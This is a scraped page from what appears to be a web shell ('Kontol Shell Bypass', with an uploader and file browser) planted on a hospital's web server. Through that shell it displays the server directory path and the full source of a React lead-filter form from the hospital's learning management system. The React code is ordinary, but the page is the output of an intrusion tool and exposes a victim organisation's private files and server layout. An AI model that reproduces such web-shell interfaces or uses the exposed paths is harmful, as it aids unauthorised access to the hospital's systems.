ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/multisource/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/multisource/LeadsFilterForm.jsx |
/* eslint-disable react-hooks/exhaustive-deps */
import { useEffect, useState } from "react";
import { AntdSelect, AntdDatepicker } from "../../components";
import { Row, Col, Input } from "antd";
const initialLeadsFilterFd = {
steps: [],
states: [],
programs: [],
utm_sources: [],
};
export default function LeadsFilterForm({
masters,
data = null,
onChange = () => {},
}) {
const [filterFd, setFilterFd] = useState(data || initialLeadsFilterFd);
useEffect(() => {
onChange({ ...filterFd });
}, [filterFd]);
return (
<Row gutter={[8, 18]}>
<Col span="6">
<div className="legend-lbl">
<label>Name/SystemID/Mob/Email</label>
<Input
value={filterFd.k || ""}
onChange={(e) => setFilterFd({ ...filterFd, k: e.target.value })}
placeholder="Enter search text..."
/>
</div>
</Col>
<Col span="6">
<div className="legend-lbl">
<label>Step Completed</label>
<AntdSelect
allowClear
placeholder="All"
mode="multiple"
options={[0, 1, 2, 3]}
value={filterFd.steps}
onChange={(v) => setFilterFd({ ...filterFd, steps: v })}
/>
</div>
</Col>
<Col span="6">
<div className="legend-lbl">
<label>States</label>
<AntdSelect
allowClear
sort
placeholder="All"
mode="multiple"
options={masters.states}
value={filterFd.states}
onChange={(v) => setFilterFd({ ...filterFd, states: v })}
/>
</div>
</Col>
<Col span="3">
<div className="legend-lbl">
<label>From Date</label>
<AntdDatepicker
value={filterFd.from_date}
onChange={(v) => setFilterFd({ ...filterFd, from_date: v })}
/>
</div>
</Col>
<Col span="3">
<div className="legend-lbl">
<label>To Date</label>
<AntdDatepicker
value={filterFd.to_date}
onChange={(v) => setFilterFd({ ...filterFd, to_date: v })}
/>
</div>
</Col>
<Col span="12">
<div className="legend-lbl">
<label>Programs</label>
<AntdSelect
allowClear
sort
placeholder="All"
mode="multiple"
options={masters.programs}
value={filterFd.programs}
onChange={(v) => setFilterFd({ ...filterFd, programs: v })}
/>
</div>
</Col>
<Col span="6">
<div className="legend-lbl">
<label>UTM Source</label>
<AntdSelect
allowClear
sort
placeholder="All"
mode="multiple"
options={masters.utm_sources.map((v) => ({
value: v.id,
label: v.name,
}))}
value={filterFd.utm_sources}
onChange={(v) => setFilterFd({ ...filterFd, utm_sources: v })}
/>
</div>
</Col>
<Col span="6">
<div className="legend-lbl">
<label>Followup Count</label>
<AntdSelect
allowClear
placeholder="All"
options={["1", "2", "3", "1+", "2+", "3+"]}
value={filterFd.followup_count}
onChange={(v) => setFilterFd({ ...filterFd, followup_count: v })}
/>
</div>
</Col>
</Row>
);
}
Kontol Shell Bypass